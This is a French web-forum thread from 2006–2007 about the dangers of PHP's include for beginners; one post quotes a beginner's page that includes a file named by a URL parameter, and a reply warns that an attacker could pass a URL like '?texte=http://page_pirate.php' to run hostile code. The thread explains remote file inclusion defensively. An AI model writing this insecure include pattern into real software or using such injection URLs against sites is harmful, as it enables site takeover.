 les dangers de l'include PHP, pour un débutant |
 |
Bienvenue invité ( Connexion | Inscription )
 24 Oct 2006, 22:29
Message
#1
|
|
 Macbidouilleur d'Or !  Groupe : Membres Messages : 6 172 Inscrit : 7 May 2005 Membre no 38 651  |
Ce message a été modifié par Hyp - 12 May 2010, 11:51. |
 |
 
|
 |
Réponse(s)
|
16 Nov 2006, 16:45
Message
#2
|
|
 Oui ? Groupe : Membres Messages : 3 889 Inscrit : 24 Jun 2003 Lieu : BZH Membre no 8 224 |
CITATION(Hyp @ 16 Nov 2006, 13:33) [snapback]1982690[/snapback] Imaginons que je veuille faire la chose suivante: h ttp://www.monsite.com/index.php?texte=vot...e.com/texte.txt CODE <html> <head><title>Ma page index.php</title></head> <body> <h1>Voici votre texte:</h1> <?php include $texte;?> <!-- Pas sûr que la syntaxe soit correcte --> </body> </html> Quelle méthode dois-je adopter ? (Vous aurez compris que le but de l'opération est de permettre à l'utilisateur d'inclure son fichier texte dans l'interface que j'aurai mise en place  )Comme c'est expliqué plus haut, et répété par schlum : faut pas faire de "include($texte);" Car un pirate va écrire comme URL : h ttp://www.monsite.com/index.php?texte=http://page_pirate.php avec dedans plein de code php pour te pourrir la vie, vider ton site, mettre ses stocks vidéo de cul piratés dessus pour les vendre -------------------- "Je sais que vous croyez comprendre ce que vous pensez que j'ai dit, mais je ne suis pas sûr que vous réalisiez que ce que vous avez entendu n'est pas ce que je pense."
(Alan Greenspan) |
|
|
|
|
16 Nov 2006, 19:20
Message
#3
|
|
|
Macbidouilleur d'Or ! Groupe : Membres Messages : 6 172 Inscrit : 7 May 2005 Membre no 38 651 |
Ce message a été modifié par Hyp - 12 May 2010, 11:52. |
|
|
|
Les messages de ce sujet
Hyp les dangers de l'include PHP 24 Oct 2006, 22:29
No6 Vieux probleme largement expliqué un peu partout ... 24 Oct 2006, 22:41
Grognon CITATION(No6 @ 24 Oct 2006, 22:41) 194733... 5 Dec 2006, 11:58 schlum CITATION(Grognon @ 5 Dec 2006, 11:58) 200... 5 Dec 2006, 12:03 Grognon CITATION(Grognon @ 5 Dec 2006, 11:58) 200... 5 Dec 2006, 12:14 schlum CITATION(Grognon @ 5 Dec 2006, 12:14) 200... 5 Dec 2006, 12:19 Grognon CITATION(schlum @ 5 Dec 2006, 12:19) 2007... 5 Dec 2006, 12:27 Hyp Merci pour cette explication concise No6
J'i... 24 Oct 2006, 22:48 No6 Je me sens tout guilleret, j'ai l'impressi... 24 Oct 2006, 22:59 Hyp RE: les dangers de l'include PHP 24 Oct 2006, 23:03 No6 Nous sommes tous obligés les uns envers les autre... 24 Oct 2006, 23:11 hubeert coucou;
d'une maniere générale ( même si je... 25 Oct 2006, 07:45 schlum En général on active pas "register_globals... 25 Oct 2006, 09:29 hubeert autre danger moins connu..
faire attention au ext... 25 Oct 2006, 10:30 canari pour monfichierouilyamescodes.inc, autant faire un... 8 Nov 2006, 01:55 No6 CITATION(canari @ 8 Nov 2006, 01:55) 1969... 8 Nov 2006, 02:07 canari CITATION(No6 @ 8 Nov 2006, 02:07) 1969451... 8 Nov 2006, 02:26 DUX le .inc pour les fichiers à inclure, c'est la... 8 Nov 2006, 17:50 Hyp RE: les dangers de l'include PHP 16 Nov 2006, 13:33 Hyp CITATION(schlum @ 16 Nov 2006, 14:13) 198... 16 Nov 2006, 14:16 schlum Euh... "include" c'est pour inclure ... 16 Nov 2006, 14:13 schlum Ben justement, faut pas faire de "include(... 16 Nov 2006, 14:36 Master Buck Oui ou plus simplement, il faut vérifier l'ex... 16 Nov 2006, 20:11 schlum CITATION(Master Buck @ 16 Nov 2006, 20:11... 16 Nov 2006, 21:53 Hyp RE: les dangers de l'include PHP 16 Nov 2006, 20:30 Master Buck Euh, en toute logique, si le PHP est dans un fichi... 17 Nov 2006, 18:36 schlum CITATION(Master Buck @ 17 Nov 2006, 18:36... 17 Nov 2006, 23:09 ghost-X CITATION(Master Buck @ 17 Nov 2006, 18:36... 18 Nov 2006, 01:28 Master Buck Ha ouaip, ok, je vais faire gaffe maintenant, je s... 18 Nov 2006, 11:20 schlum D'ailleurs, je dis des bêtises ! À mon a... 5 Dec 2006, 12:29 marc_os CITATION(schlum @ 5 Dec 2006, 12:29) 2007... 5 Dec 2006, 17:58 Master Buck En gros ce que tout le monde dit de façon assez f... 6 Dec 2006, 12:33 marc_os CITATION(Master Buck @ 6 Dec 2006, 12:33)... 6 Dec 2006, 14:05 Grognon J'ai finalement opté pour require_once en che... 6 Dec 2006, 14:10 hubeert que tu utilises require_once ou include_once ne va... 6 Dec 2006, 23:50 Grognon CITATION(hubeert @ 6 Dec 2006, 23:50) 201... 7 Dec 2006, 02:00 marc_os CITATION(Grognon @ 7 Dec 2006, 02:00) 201... 7 Dec 2006, 11:36 Grognon Plus qu'une question de temps (même si j... 7 Dec 2006, 12:09 Hyp RE: les dangers de l'include PHP 16 Jan 2007, 21:37 schlum Non, ça ne fonctionne pas si le serveur est corre... 16 Jan 2007, 22:18 Hyp Merci 16 Jan 2007, 22:21 Hyp RE: les dangers de l'include PHP 10 Jun 2007, 07:27 Vin's CITATION(Hyp @ 10 Jun 2007, 08:27) 223918... 10 Jun 2007, 10:36 hubeert coucou;
que veux tu dire par "mes include s... 10 Jun 2007, 10:45 Master Buck Qu'il ne passe pas de paramètres qui viennent... 10 Jun 2007, 11:50 Hyp RE: les dangers de l'include PHP 10 Jun 2007, 17:37 canari au lieu de addslashes, il est préférable d'u... 10 Jun 2007, 15:05 Master Buck Ça existe, ça, des gens qui n'utilisent pas ... 10 Jun 2007, 19:39 Hyp RE: les dangers de l'include PHP 10 Jun 2007, 20:07 Hyp RE: les dangers de l'include PHP 13 Jul 2007, 15:16 schlum Ca dépend comment tu gères ton système de fichi... 13 Jul 2007, 15:23 Hyp RE: les dangers de l'include PHP 13 Jul 2007, 15:32 sky MySQL permet de ne pas avoir de soucis en cas d... 13 Jul 2007, 15:38 schlum Non non, faire une connexion à une base de donné... 13 Jul 2007, 16:23 sky CITATION(schlum @ 13 Jul 2007, 15:23) 227... 13 Jul 2007, 17:40 Hyp RE: les dangers de l'include PHP 13 Jul 2007, 17:48 sky A mon avis, la diff en perf doit etre negligeable.... 13 Jul 2007, 18:44 |
1 utilisateur(s) sur ce sujet (1 invité(s) et 0 utilisateur(s) anonyme(s))
0 membre(s) :
| Nous sommes le : 5th April 2026 - 19:05 |